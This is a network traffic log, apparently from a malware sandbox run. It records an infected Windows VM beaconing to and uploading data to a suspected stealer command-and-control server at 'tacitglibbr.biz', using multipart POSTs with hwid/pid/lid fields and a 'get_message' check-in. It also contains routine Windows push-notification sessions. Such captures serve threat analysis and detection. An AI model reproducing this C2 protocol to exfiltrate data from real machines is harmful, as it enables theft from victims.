2024-12-16 14:05:26 UTC	15087	OUT	Data Raw: 2d 2d 38 41 50 4f 55 50 43 32 48 4e 4d 5a 33 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 38 41 50 4f 55 50 43 32 48 4e 4d 5a 33 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 41 50 4f 55 50 43 32 48 4e 4d 5a 33 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 38 41 50 4f 55 Data Ascii: --8APOUPC2HNMZ3CAContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--8APOUPC2HNMZ3CAContent-Disposition: form-data; name="pid"2--8APOUPC2HNMZ3CAContent-Disposition: form-data; name="lid"PsFKDg--pablo--8APOU
2024-12-16 14:05:27 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:05:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2j4pltqdh8ucj21fgk5mhdhgbg; expires=Fri, 11-Apr-2025 07:52:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i%2BuhxxOZjIWDKYCk5NEOEcakAIRrzlhgcoyOibUhSho2wnPIP81VGTDmBnLdUAmAUQ9FDQZHu7ynvbPbzWRgQ8Fc1fxfd5Bo%2FjW7KWE%2FKNrJTO19C3QOn7Bf7oEVq%2BjZtHs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3a720acfde92-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1585&min_rtt=1585&rtt_var=792&sent=13&recv=19&lost=0&retrans=1&sent_bytes=4216&recv_bytes=16023&delivery_rate=108967&cwnd=244&unsent_bytes=0&cid=bb9471ed6c2a7eb2&ts=1360&x=0"
2024-12-16 14:05:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:05:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	50296	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:05:29 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MMWZQ67S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19903 Host: tacitglibbr.biz
2024-12-16 14:05:29 UTC	15331	OUT	Data Raw: 2d 2d 4d 4d 57 5a 51 36 37 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 4d 57 5a 51 36 37 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4d 4d 57 5a 51 36 37 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4d 4d 57 5a 51 36 37 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --MMWZQ67SContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--MMWZQ67SContent-Disposition: form-data; name="pid"3--MMWZQ67SContent-Disposition: form-data; name="lid"PsFKDg--pablo--MMWZQ67SContent-Disposit
2024-12-16 14:05:29 UTC	4572	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf 02 0e 8d a5 f6 3d 72 d7 62 f5 Data Ascii: 2+?2+?o?Mp5p_oI=rb
2024-12-16 14:05:29 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:05:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5aj8icjtj115fkb2aivac2rfua; expires=Fri, 11-Apr-2025 07:52:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=on%2FPMee4frf9n0Id33J%2FOiwRqe8R8ZXgRSNNBrMVT2SkkcfsIHDBD6KOvr%2BvPRiB5300uZY0XF%2BHUpi2KzF%2FjeeM5A0haVmN4u2f1Wq%2BS17zJRPyrTysyck7qb%2F7Dp4krrg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3a815eb68c6b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2040&min_rtt=2040&rtt_var=1020&sent=16&recv=25&lost=0&retrans=1&sent_bytes=4216&recv_bytes=20854&delivery_rate=323151&cwnd=144&unsent_bytes=0&cid=5d1b9a44100ced8d&ts=948&x=0"
2024-12-16 14:05:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:05:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	50297	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:05:31 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QFXXK617I83GB71FN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1291 Host: tacitglibbr.biz
2024-12-16 14:05:31 UTC	1291	OUT	Data Raw: 2d 2d 51 46 58 58 4b 36 31 37 49 38 33 47 42 37 31 46 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 51 46 58 58 4b 36 31 37 49 38 33 47 42 37 31 46 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 46 58 58 4b 36 31 37 49 38 33 47 42 37 31 46 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --QFXXK617I83GB71FNContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--QFXXK617I83GB71FNContent-Disposition: form-data; name="pid"1--QFXXK617I83GB71FNContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-16 14:05:31 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:05:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=50eicgg66iun5v2i9280juhkar; expires=Fri, 11-Apr-2025 07:52:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VN2HFDcnEvJOCrxxXOoBOMvrQS8%2BxHMwAImxszFXdXY%2BUQBfmCLvIb3LNXizAt3PFdGFweGt0slygMjVWtBEnaK3DPw2jlWr%2FR5ERrUfcgrmh6gTZU3Dssnox7S8RZFrzh4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3a8f4e407c99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1938&min_rtt=1928&rtt_var=743&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2206&delivery_rate=1452736&cwnd=235&unsent_bytes=0&cid=17db5c37bb176d47&ts=747&x=0"
2024-12-16 14:05:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:05:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	50299	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:05:33 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7UV3TW9QGUJF4BC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29556 Host: tacitglibbr.biz
2024-12-16 14:05:33 UTC	15331	OUT	Data Raw: 2d 2d 37 55 56 33 54 57 39 51 47 55 4a 46 34 42 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 37 55 56 33 54 57 39 51 47 55 4a 46 34 42 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 55 56 33 54 57 39 51 47 55 4a 46 34 42 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 37 55 56 33 54 Data Ascii: --7UV3TW9QGUJF4BCContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--7UV3TW9QGUJF4BCContent-Disposition: form-data; name="pid"1--7UV3TW9QGUJF4BCContent-Disposition: form-data; name="lid"PsFKDg--pablo--7UV3T
2024-12-16 14:05:33 UTC	14225	OUT	Data Raw: 16 5a 1a 87 f0 c2 a0 61 e1 bb b5 85 a4 a2 be b7 6e dc 5a 89 c9 6f 0d 37 33 24 7c f5 12 29 1e 50 51 4b c2 da c6 6e f9 6d 37 3e ba 07 00 b9 05 ae d7 ff 18 35 e6 4f bc 17 8e 45 0f d6 01 a0 4b 3f 94 36 b8 fd e4 f8 0f 56 d3 cd b0 aa 2c 9e 69 9f 3c 30 65 fc da 99 98 67 d6 0e ab 01 57 a8 02 5c b2 72 fa 6f b6 8b 13 60 23 e0 52 ff 5c be b1 7c f8 39 50 9b 91 c4 64 4f 7a da a5 48 a6 f2 13 7a ff 2d 6d e5 a3 21 ea e3 81 af 6c 1b c9 b0 ee 55 5d 6c 2d db 7e f1 e2 41 b1 15 5d 10 5b 91 fd c6 e9 02 fb e4 47 49 d7 e3 a6 24 cc 4c 5b ba d2 84 c8 39 72 0e d2 2e c7 91 74 33 43 5d 72 82 d2 f6 be 01 ec 07 3b 22 ae eb a6 0f cd bf 2b 82 d4 fa 1e 05 5f 0a 7c 03 d4 78 e1 e6 14 e6 bf 35 a6 cb 03 6d fc 84 44 af cf 09 fa 6f 6d 3b cf c3 df 7a 2f 15 6f 5e 8a 52 eb 8f 3d 5a b5 1b 48 4d 79 Data Ascii: ZanZo73$\|)PQKnm7>5OEK?6V,i<0egW\ro`#R\\|9PdOzHz-m!lU]l-~A][GI$L[9r.t3C]r;"+_\|x5mDom;z/o^R=ZHMy
2024-12-16 14:05:35 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:05:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qsa9789us10nnplt3lcmddnceb; expires=Fri, 11-Apr-2025 07:52:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=glKvpoB1gx1cB6BCS29SPrr8A9YxzFuyiSX1JbY0XRLQhB5%2B9s4H7w9wSrdd4dYMtBei9ZW5fxSMZlN8LcDAH09tC1lS8g9w6D5AXRRwdPfMvcWei%2F%2Bekrn6vVudH28w5PQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3a9caffc8cdc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2234&min_rtt=1872&rtt_var=960&sent=20&recv=36&lost=0&retrans=0&sent_bytes=2838&recv_bytes=30536&delivery_rate=1559829&cwnd=250&unsent_bytes=0&cid=385aa66a2c93da8a&ts=1851&x=0"
2024-12-16 14:05:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:05:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	50301	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:05:36 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: tacitglibbr.biz
2024-12-16 14:05:36 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=CCE19D1764DF4D48AC8923850305D13E
2024-12-16 14:05:37 UTC	1009	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:05:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t8n2i56103m00a3bp096namj1c; expires=Fri, 11-Apr-2025 07:52:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fdsIn5g7xonv6CTzIG4vZZxA4n3JJbjmeu5DrM%2BqD1xOA08iQhhPNxPF68mlxOMJQSeZwoQnki%2FOlLGZXy9oOLgc1Tacnv5VtEUdymCLhdSBGglJzSbxCQn6zRKHnJf0luc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3ab07a3772b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1904&min_rtt=1899&rtt_var=723&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=981&delivery_rate=1502830&cwnd=172&unsent_bytes=0&cid=5a4305182e1f0580&ts=843&x=0"
2024-12-16 14:05:37 UTC	214	IN	Data Raw: 64 30 0d 0a 71 69 70 75 50 4f 67 34 61 45 57 50 65 76 38 32 4a 47 69 31 66 4b 6a 6c 49 6e 46 4c 57 58 75 6b 4f 65 4c 54 7a 45 4d 30 79 4a 62 78 55 55 78 4a 79 67 4a 4b 4c 66 73 4f 6a 77 78 34 52 2b 6c 54 6d 64 30 58 58 33 6c 6f 54 6f 6f 49 30 2b 44 69 63 67 4b 55 75 63 56 4d 43 47 44 48 58 41 30 6a 6f 52 2b 48 55 77 5a 45 6c 78 72 63 78 78 68 42 5a 33 73 65 68 67 50 53 72 75 41 34 46 72 32 30 6b 41 67 47 53 4a 78 49 55 68 6d 67 4a 74 41 48 48 46 32 62 54 70 6e 51 44 45 42 36 61 6c 57 56 44 37 37 38 76 7a 64 52 71 66 76 32 42 52 78 64 68 6c 77 48 4b 4b 45 66 68 31 4d 47 52 4a 63 61 33 4d 63 59 51 57 64 37 48 6f 59 44 30 71 36 52 0d 0a Data Ascii: d0qipuPOg4aEWPev82JGi1fKjlInFLWXukOeLTzEM0yJbxUUxJygJKLfsOjwx4R+lTmd0XX3loTooI0+DicgKUucVMCGDHXA0joR+HUwZElxrcxxhBZ3sehgPSruA4Fr20kAgGSJxIUhmgJtAHHF2bTpnQDEB6alWVD778vzdRqfv2BRxdhlwHKKEfh1MGRJca3McYQWd7HoYD0q6R
2024-12-16 14:05:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	50355	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:06:22 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 56 54 75 74 51 48 43 43 54 30 79 6e 4d 76 37 6f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 63 39 63 65 30 35 36 66 32 63 61 64 62 33 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: VTutQHCCT0ynMv7o.1Context: fc9ce056f2cadb3b
2024-12-16 14:06:22 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-16 14:06:22 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 56 54 75 74 51 48 43 43 54 30 79 6e 4d 76 37 6f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 63 39 63 65 30 35 36 66 32 63 61 64 62 33 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 58 34 48 43 52 6c 4b 78 59 59 75 57 4b 61 73 6f 55 47 6e 55 51 61 39 38 56 7a 51 6b 74 62 79 31 4c 54 64 6d 79 6e 7a 49 4a 6d 77 49 2f 65 35 5a 68 39 6a 45 64 4d 4e 5a 76 45 49 53 32 46 4f 62 43 6c 4d 67 76 6f 57 74 67 4d 64 50 64 68 56 62 59 36 68 57 79 4d 4c 58 72 38 42 35 39 4b 57 55 4d 36 49 69 4d 71 6d 5a 6a 51 30 62 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: VTutQHCCT0ynMv7o.2Context: fc9ce056f2cadb3b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdX4HCRlKxYYuWKasoUGnUQa98VzQktby1LTdmynzIJmwI/e5Zh9jEdMNZvEIS2FObClMgvoWtgMdPdhVbY6hWyMLXr8B59KWUM6IiMqmZjQ0b
2024-12-16 14:06:22 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 56 54 75 74 51 48 43 43 54 30 79 6e 4d 76 37 6f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 63 39 63 65 30 35 36 66 32 63 61 64 62 33 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: VTutQHCCT0ynMv7o.3Context: fc9ce056f2cadb3b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-16 14:06:23 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-16 14:06:23 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 45 45 2f 51 58 67 54 63 4b 30 2b 51 52 55 43 70 66 51 39 62 70 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: EE/QXgTcK0+QRUCpfQ9bpA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	50417	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:08:55 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6b 4a 38 46 6d 41 33 78 50 30 79 57 6e 33 34 61 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 34 30 31 64 62 39 32 65 33 30 32 37 36 39 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: kJ8FmA3xP0yWn34a.1Context: a401db92e3027699
2024-12-16 14:08:55 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-16 14:08:55 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6b 4a 38 46 6d 41 33 78 50 30 79 57 6e 33 34 61 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 34 30 31 64 62 39 32 65 33 30 32 37 36 39 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 58 34 48 43 52 6c 4b 78 59 59 75 57 4b 61 73 6f 55 47 6e 55 51 61 39 38 56 7a 51 6b 74 62 79 31 4c 54 64 6d 79 6e 7a 49 4a 6d 77 49 2f 65 35 5a 68 39 6a 45 64 4d 4e 5a 76 45 49 53 32 46 4f 62 43 6c 4d 67 76 6f 57 74 67 4d 64 50 64 